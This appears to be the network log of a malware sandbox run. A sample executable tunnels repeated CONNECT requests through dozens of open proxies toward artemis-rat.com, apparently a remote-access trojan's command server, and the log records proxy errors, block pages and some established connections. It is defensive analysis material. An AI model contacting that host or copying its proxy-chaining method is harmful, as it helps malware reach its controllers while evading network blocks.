Mar 11, 2024 03:30:40.338177919 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.492515087 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:40 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
698	192.168.2.5	51882	91.211.177.37	3629	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.341433048 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
699	192.168.2.5	52106	185.162.231.226	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.341458082 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.498245001 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:40 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
700	192.168.2.5	51892	14.103.24.148	8000	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.344468117 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.908844948 CET	59	IN	HTTP/1.1 200 Connection Established Proxy-agent: nginx

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
701	192.168.2.5	51866	72.49.49.11	31034	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.353336096 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
702	192.168.2.5	51875	103.83.232.122	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.353771925 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
703	192.168.2.5	52124	172.67.3.98	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.358581066 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.513633013 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:40 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
704	192.168.2.5	51910	69.230.240.163	32650	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.359697104 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.701833010 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:40 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 03:30:41.052822113 CET	628	IN	HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Server: ADM/2.1.1Connection: closeContent-Length: 509<html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>zhy54-HG100-2</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://211.93.21.5:9080/error.html"; }</script> </head> <body> <iframe id="mainFrame" src="" frameborder="0" width="100%" height="100%"></iframe> </body></html Data Raw: Data Ascii:
Mar 11, 2024 03:30:41.079454899 CET	628	IN	HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Server: ADM/2.1.1Connection: closeContent-Length: 509<html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>zhy50-HG100-2</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://211.93.21.5:9080/error.html"; }</script> </head> <body> <iframe id="mainFrame" src="" frameborder="0" width="100%" height="100%"></iframe> </body></html Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
705	192.168.2.5	50608	88.79.243.103	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.364243984 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.681952953 CET	1254	IN	HTTP/1.1 403 Forbidden Server: squid/3.5.28 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 02:30:40 GMT Content-Type: text/html;charset=utf-8 Content-Length: 952 X-Squid-Error: ERR_ACCESS_DENIED 0 Content-Language: en X-Cache: MISS from ah_test Via: 1.1 ah_test (squid/3.5.28) Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 38 20 54 68 65 20 41 65 72 6f 68 69 76 65 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 57 65 62 20 50 61 67 65 20 42 6c 6f 63 6b 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 0a 0a 62 6f 64 79 0a 3a 6c 61 6e 67 28 66 61 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 52 6f 79 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 20 7d 0a 3a 6c 61 6e 67 28 68 65 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 7d 0a 20 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 69 64 3d 22 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 22 3e 0a 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 73 22 3e 0a 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 35 62 38 63 62 64 3b 22 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 61 6e 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 31 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 41 63 63 65 73 73 20 74 6f 20 74 68 65 20 77 65 62 20 70 61 67 65 20 68 61 73 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 20 69 6e 20 61 63 63 6f 72 64 61 6e 63 65 20 77 69 74 68 20 74 68 65 20 6e 65 74 77 6f 72 6b 20 70 6f 6c 69 63 79 2e 20 49 66 20 79 6f 75 20 62 65 6c 69 65 76 65 20 74 68 69 73 20 69 73 20 61 6e 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 20 73 79 73 74 65 6d 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 2f 2a 22 3e 68 74 74 70 73 3a 2f 2f 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 2f 2a 3c 2f 61 3e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 43 61 74 65 67 6f 72 79 3a 20 3c 2f 70 3e 0a 3c 62 72 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 66 6f 6f 74 65 72 22 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 22 3e 47 65 6e 65 72 61 74 65 64 20 4d 6f 6e 2c 20 31 31 20 4d 61 72 20 32 30 32 34 20 30 32 3a 33 30 3a 34 30 20 47 4d 54 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><meta type="copyright" content="Copyright (C) 1996-2018 The Aerohive"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: Web Page Blocked</title><style type="text/css">... body:lang(fa) { direction: rtl; font-size: 100%; font-family: Tahoma, Roya, sans-serif; float: right; }:lang(he) { direction: rtl; } --></style></head><body id="ERR_ACCESS_DENIED"><div id="titles"><h1 style="color: #5b8cbd;">The requested URL cannot be retrieved</h1></div><div id="content"><p>Access to the web page has been blocked in accordance with the network policy. If you believe this is an error, please contact you system administrator.</p><p style="color: #7192b4;">URL: <a href="https://artemis-rat.com/">https://artemis-rat.com/</a></p><p style="color: #7192b4;">Category: </p><br></div><div id="footer"><p style="font-size: 12px;">Generated Mon, 11 Mar 2024 02:30:40 GMT</p></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
706	192.168.2.5	51901	103.118.44.61	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.367161036 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
707	192.168.2.5	52004	174.77.111.198	49547	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.374984026 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
708	192.168.2.5	49729	138.2.73.157	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.377542019 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
709	192.168.2.5	52092	157.185.157.151	26589	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.444804907 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
710	192.168.2.5	51447	164.92.71.232	3240	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.446592093 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.498766899 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.593036890 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.702210903 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
711	192.168.2.5	52122	172.93.213.177	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.447906017 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.653239965 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.22.1 Date: Mon, 11 Mar 2024 02:30:40 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.22.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
712	192.168.2.5	52104	38.162.11.65	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.447906017 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.861181974 CET	111	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
713	192.168.2.5	51251	203.89.8.107	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.448698997 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.490425110 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.866493940 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.22.0 Date: Mon, 11 Mar 2024 02:30:45 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.22.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
714	192.168.2.5	51985	37.221.197.165	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.449150085 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.201855898 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.201920986 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.092787027 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.702094078 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
715	192.168.2.5	49746	154.65.39.8	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.449151993 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.898794889 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 02:30:31 GMT Server: Apache/2.4.38 (Debian) Content-Length: 613 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of
Mar 11, 2024 03:30:41.898833036 CET	269	IN	Data Raw: 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f Data Ascii: the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.38 (Debian) Server at artemis-rat.com Port 443

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
716	192.168.2.5	52152	172.64.152.98	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.450603008 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.606792927 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:40 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

